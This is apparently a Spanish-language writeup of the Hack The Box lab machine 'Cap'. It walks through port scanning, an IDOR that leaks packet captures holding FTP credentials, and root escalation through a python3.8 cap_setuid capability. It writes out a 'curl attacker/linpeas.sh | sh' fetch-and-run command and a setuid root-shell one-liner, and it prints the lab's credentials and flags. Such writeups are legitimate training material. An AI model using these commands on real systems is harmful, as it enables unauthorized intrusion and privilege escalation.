Saltar al contenido
Volver al inicio

HTB Cap — Writeup

Fabrizio GuerrieriFabrizio Guerrieri
·7 min
Cap HTB

Vamos a resolver la máquina Cap de las Máquinas de HTB.

Enumeración#

Primero vamos a escanear por puertos abiertos:

bash
sudo nmap -p- --open -Pn -n -T4 10.10.10.245 -oN discovery
[sudo] password for guerri:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-29 19:47 -03
Nmap scan report for 10.10.10.245
Host is up (0.21s latency).
Not shown: 61577 closed tcp ports (reset), 3955 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 186.64 seconds

Vemos que los puertos 21, 22 y 80 están abiertos.

Para obtener más información de versiones y servicios corriendo vamos a utilizar las flags -sC y -sV.

bash
sudo nmap -sCV -p 21,22,80 10.10.10.245 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-29 19:52 -03
Nmap scan report for 10.10.10.245
Host is up (0.22s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
...

Para obtener algo más de información sobre la web:

bash
whatweb http://10.10.10.245/
http://10.10.10.245/ [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[gunicorn], IP[10.10.10.245], JQuery[2.2.4], Modernizr[2.8.3.min], Script, Title[Security Dashboard], X-UA-Compatible[ie=edge]

De aquí podemos ver que el título es Security Dashboard, por lo que será algún panel o algo por el estilo.

Si accedemos a la web vemos que es una especie de dashboard con información de monitoreo/red el cual no requiere credenciales de acceso.

Security Dashboard

Antes de seguir analizando la web, vamos a probar si tiene habilitado el login de FTP con el usuario anonymous, una mala configuración que se puede ver muchas veces.

bash
ftp anonymous@10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed

Al parecer no tiene login con el usuario anonymous.

Volviendo a la página, vemos que en el apartado Security Snapshot + 5 Sec PCAP + Analysis se pueden descargar algunos tipos de pcap que al parecer corresponden a las peticiones que se están haciendo en el momento.

Revisando la ruta de la URL:

URL /data/

Jugando con el valor del parámetro /data/, al parecer el inicio de las capturas comienza en 0.

Y al parecer nuestras capturas empiezan desde el 1, por lo que la 0 no correspondería a tráfico nuestro. Pudiendo manipular el parámetro del /data/ podríamos decir que estamos frente a un IDOR.

IDOR#

Un IDOR (Insecure Direct Object Reference) es una vulnerabilidad de seguridad web en la cual una aplicación expone de forma insegura referencias directas a objetos internos, como identificadores de usuarios, archivos, registros o claves de bases de datos.

Ejemplo típico#

Supongamos que en una aplicación web se accede al perfil con esta URL:

https://ejemplo.com/usuario?id=123

  • El usuario con ID 123 puede ver su propio perfil.
  • Pero si cambia manualmente el parámetro a 124, puede ver el perfil de otro usuario:

https://ejemplo.com/usuario?id=124

Si la aplicación no valida la autorización, se expone información sensible de otros usuarios.

Análisis de capturas#

Como dijimos anteriormente, las capturas inician en 0, por lo que vamos a descargar las capturas para ver el contenido que pueden llegar a tener:

Descarga de captura 0

Del dashboard vemos además que la captura 0 (http://10.10.10.245/data/0) tiene contenido, en cambio algunas de las capturas a continuación solo tienen una petición.

Abriendo en Wireshark la captura 0.pcap ya podemos ver tráfico que no es nuestro y una conexión por FTP.

Wireshark — credenciales FTP

Podemos ver un login correcto con usuario nathan y contraseña Buck3tH4TF0RM3!.

FTP#

Vamos a conectarnos nuevamente a FTP y probar las credenciales que vimos en esta captura.

bash
ftp nathan@10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||24871|)
150 Here comes the directory listing.
-rw-rw-r--    1 1001     1001           46 Aug 29 22:26 file.py
-rwxrwxr-x    1 1001     1001      3104768 May 28 12:32 pspy64
-r--------    1 1001     1001           33 Aug 29 21:43 user.txt
226 Directory send OK.

En user.txt ya tenemos la flag del usuario nathan.

bash
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||52330|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |***********************************|    33      362.09 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.16 KiB/s)
ftp> exit

cat user.txt
7280e1928717f09702abccc9da96e43d

Vamos a tratar de loguearnos por SSH con el usuario obtenido anteriormente:

bash
ssh nathan@10.10.10.245
The authenticity of host '10.10.10.245 (10.10.10.245)' can't be established.
ED25519 key fingerprint is SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHzRoKcmLUI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.245' (ED25519) to the known hosts.
nathan@10.10.10.245's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
...
Last login: Sat Aug 30 01:16:55 2025 from 10.10.14.11

Como vemos pudimos loguearnos correctamente.

Escalada de Privilegios#

Para esto vamos a ejecutar linpeas.sh en la máquina víctima.

Servimos el script desde nuestra máquina atacante:

bash
# Máquina atacante
sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.245 - - [29/Aug/2025 23:22:52] "GET /linpeas.sh HTTP/1.1" 200 -

Y lo ejecutamos desde la máquina víctima:

bash
# Máquina víctima
curl 10.10.15.74/linpeas.sh | sh
...
Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep

Como resultado interesante vemos que el binario python3.8 tiene capabilities, en específico cap_setuid que nos permitiría escalar privilegios.

¿Qué son las Linux Capabilities?#

En Linux, tradicionalmente el root tenía todos los privilegios, y los usuarios normales ninguno. Para hacerlo más granular, el kernel introdujo las capabilities:

  • Son permisos específicos que se pueden asignar a procesos o binarios.
  • En lugar de “todo o nada”, se pueden dar privilegios concretos.

Ejemplos de capabilities:

  • CAP_NET_BIND_SERVICE → permitir a un proceso escuchar en puertos < 1024 sin ser root.
  • CAP_SYS_ADMIN → la “navaja suiza”, da acceso a muchísimas funciones administrativas.
  • CAP_SETUID → permite cambiar el UID del proceso (peligroso).
  • CAP_DAC_OVERRIDE → saltarse permisos de lectura/escritura/ejecución en ficheros.

Para encontrarlos manualmente sin utilizar linpeas.sh:

bash
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Ahora buscando capabilities en GTFOBins para python, vemos la posibilidad de ejecutar comandos como root utilizando os.setuid(0).

GTFOBins — python capabilities

Explotamos ahora la capability para obtener una shell como root:

bash
nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# whoami
root
# cd /root
# ls
root.txt  snap
# cat root.txt
c9d2dfb8cc41047128562164da57cb8d

Repaso#

  • Enumeración inicial

    • Puertos abiertos: 21 (FTP), 22 (SSH), 80 (HTTP).
    • Web en :80Security Dashboard accesible sin credenciales.
  • Vulnerabilidad web (IDOR)

    • El endpoint /data/{id} permite descargar pcaps manipulando el ID.
    • IDOR → acceso a capturas de tráfico de otros usuarios.
  • Explotación del IDOR

    • En http://10.10.10.245/data/0 aparece tráfico FTP.
    • Se observan credenciales: nathan : Buck3tH4TF0RM3!.
  • Acceso inicial (user)

    • Credenciales válidas en FTP → acceso a user.txt.
    • También permiten login por SSH como nathan.
  • Escalada de privilegios (Linux Capabilities)

    • getcap -r / 2>/dev/null revela /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip.
    • cap_setuid permite cambiar el UID del proceso.
    • Exploit con GTFOBins: /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
    • Shell como root → acceso a root.txt.
  • Claves de la máquina

    • IDOR para filtrar credenciales en tráfico de red.
    • Uso indebido de capabilities para escalar privilegios.
    • Conceptos: enumeración web, IDOR, FTP, SSH, capabilities (cap_setuid).
Fabrizio Guerrieri
Escrito por

Fabrizio Guerrieri

Mas blogs